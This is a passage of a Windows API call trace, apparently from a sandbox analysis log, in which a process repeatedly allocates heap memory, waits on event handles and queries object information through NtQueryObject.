BaseAddress=0xa122d8) returned 1 [0149.430] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.430] ResetEvent (hEvent=0xe8) returned 1 [0149.430] SetEvent (hEvent=0xec) returned 1 [0149.430] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.430] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.430] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.430] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.430] ResetEvent (hEvent=0xe8) returned 1 [0149.430] SetEvent (hEvent=0xec) returned 1 [0149.430] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.430] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.430] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.430] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.430] ResetEvent (hEvent=0xe8) returned 1 [0149.431] SetEvent (hEvent=0xec) returned 1 [0149.431] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.431] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.431] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.431] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.431] ResetEvent (hEvent=0xe8) returned 1 [0149.431] SetEvent (hEvent=0xec) returned 1 [0149.431] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.431] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.431] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.431] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.431] ResetEvent (hEvent=0xe8) returned 1 [0149.431] SetEvent (hEvent=0xec) returned 1 [0149.431] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.431] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.431] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.431] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.431] ResetEvent (hEvent=0xe8) returned 1 [0149.431] SetEvent (hEvent=0xec) returned 1 [0149.432] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.432] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.432] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.432] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.432] ResetEvent (hEvent=0xe8) returned 1 [0149.432] SetEvent (hEvent=0xec) returned 1 [0149.432] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.432] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.432] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.432] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.432] ResetEvent (hEvent=0xe8) returned 1 [0149.432] SetEvent (hEvent=0xec) returned 1 [0149.432] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.432] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.432] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.432] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.432] ResetEvent (hEvent=0xe8) returned 1 [0149.432] SetEvent (hEvent=0xec) returned 1 [0149.454] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.454] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.454] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.454] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.454] ResetEvent (hEvent=0xe8) returned 1 [0149.454] SetEvent (hEvent=0xec) returned 1 [0149.454] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.454] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.454] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.454] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.454] ResetEvent (hEvent=0xe8) returned 1 [0149.454] SetEvent (hEvent=0xec) returned 1 [0149.454] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.454] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.455] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.455] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.455] ResetEvent (hEvent=0xe8) returned 1 [0149.455] SetEvent (hEvent=0xec) returned 1 [0149.455] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.455] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.455] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.455] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.455] ResetEvent (hEvent=0xe8) returned 1 [0149.455] SetEvent (hEvent=0xec) returned 1 [0149.455] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.455] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.455] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.455] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.455] ResetEvent (hEvent=0xe8) returned 1 [0149.455] SetEvent (hEvent=0xec) returned 1 [0149.455] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.455] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.455] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.455] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.456] ResetEvent (hEvent=0xe8) returned 1 [0149.456] SetEvent (hEvent=0xec) returned 1 [0149.456] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.456] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.456] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.456] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.456] ResetEvent (hEvent=0xe8) returned 1 [0149.456] SetEvent (hEvent=0xec) returned 1 [0149.456] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.456] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.456] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.456] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.456] ResetEvent (hEvent=0xe8) returned 1 [0149.456] SetEvent (hEvent=0xec) returned 1 [0149.456] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.456] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.456] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.456] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.456] ResetEvent (hEvent=0xe8) returned 1 [0149.456] SetEvent (hEvent=0xec) returned 1 [0149.457] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.457] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.457] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.457] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.457] ResetEvent (hEvent=0xe8) returned 1 [0149.457] SetEvent (hEvent=0xec) returned 1 [0149.457] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.457] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.457] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.457] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.457] ResetEvent (hEvent=0xe8) returned 1 [0149.457] SetEvent (hEvent=0xec) returned 1 [0149.457] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.457] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.457] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.457] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.457] ResetEvent (hEvent=0xe8) returned 1 [0149.457] SetEvent (hEvent=0xec) returned 1 [0149.458] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.458] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.458] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.458] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.458] ResetEvent (hEvent=0xe8) returned 1 [0149.458] SetEvent (hEvent=0xec) returned 1 [0149.458] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.458] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.458] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.458] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.458] ResetEvent (hEvent=0xe8) returned 1 [0149.458] SetEvent (hEvent=0xec) returned 1 [0149.458] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.458] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.458] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.458] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.458] ResetEvent (hEvent=0xe8) returned 1 [0149.458] SetEvent (hEvent=0xec) returned 1 [0149.459] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.459] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.459] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.459] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.459] ResetEvent (hEvent=0xe8) returned 1 [0149.459] SetEvent (hEvent=0xec) returned 1 [0149.459] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.459] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.459] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.459] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.459] ResetEvent (hEvent=0xe8) returned 1 [0149.459] SetEvent (hEvent=0xec) returned 1 [0149.459] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.459] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.459] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.459] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.459] ResetEvent (hEvent=0xe8) returned 1 [0149.459] SetEvent (hEvent=0xec) returned 1 [0149.459] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.460] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.460] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.460] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.460] ResetEvent (hEvent=0xe8) returned 1 [0149.460] SetEvent (hEvent=0xec) returned 1 [0149.460] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.460] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.460] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.460] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.460] ResetEvent (hEvent=0xe8) returned 1 [0149.460] SetEvent (hEvent=0xec) returned 1 [0149.460] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.460] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.460] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.460] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.460] ResetEvent (hEvent=0xe8) returned 1 [0149.460] SetEvent (hEvent=0xec) returned 1 [0149.460] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.460] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.461] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.461] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.461] ResetEvent (hEvent=0xe8) returned 1 [0149.461] SetEvent (hEvent=0xec) returned 1 [0149.461] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.461] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.461] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.461] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.461] ResetEvent (hEvent=0xe8) returned 1 [0149.461] SetEvent (hEvent=0xec) returned 1 [0149.461] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.461] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.461] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.461] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.461] ResetEvent (hEvent=0xe8) returned 1 [0149.461] SetEvent (hEvent=0xec) returned 1 [0149.461] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.461] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.461] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.461] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.462] ResetEvent (hEvent=0xe8) returned 1 [0149.462] SetEvent (hEvent=0xec) returned 1 [0149.462] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.462] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.462] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.462] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.462] ResetEvent (hEvent=0xe8) returned 1 [0149.462] SetEvent (hEvent=0xec) returned 1 [0149.462] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.462] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.462] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.462] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.462] ResetEvent (hEvent=0xe8) returned 1 [0149.462] SetEvent (hEvent=0xec) returned 1 [0149.462] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.462] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.462] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.462] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.462] ResetEvent (hEvent=0xe8) returned 1 [0149.463] SetEvent (hEvent=0xec) returned 1 [0149.463] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.463] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.463] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.463] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.463] ResetEvent (hEvent=0xe8) returned 1 [0149.463] SetEvent (hEvent=0xec) returned 1 [0149.463] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.463] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.463] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.463] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.463] ResetEvent (hEvent=0xe8) returned 1 [0149.463] SetEvent (hEvent=0xec) returned 1 [0149.463] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.463] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.463] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.463] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.463] ResetEvent (hEvent=0xe8) returned 1 [0149.463] SetEvent (hEvent=0xec) returned 1 [0149.464] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.464] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.464] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.464] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.464] ResetEvent (hEvent=0xe8) returned 1 [0149.464] SetEvent (hEvent=0xec) returned 1 [0149.464] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.464] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.464] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.464] NtQueryObject 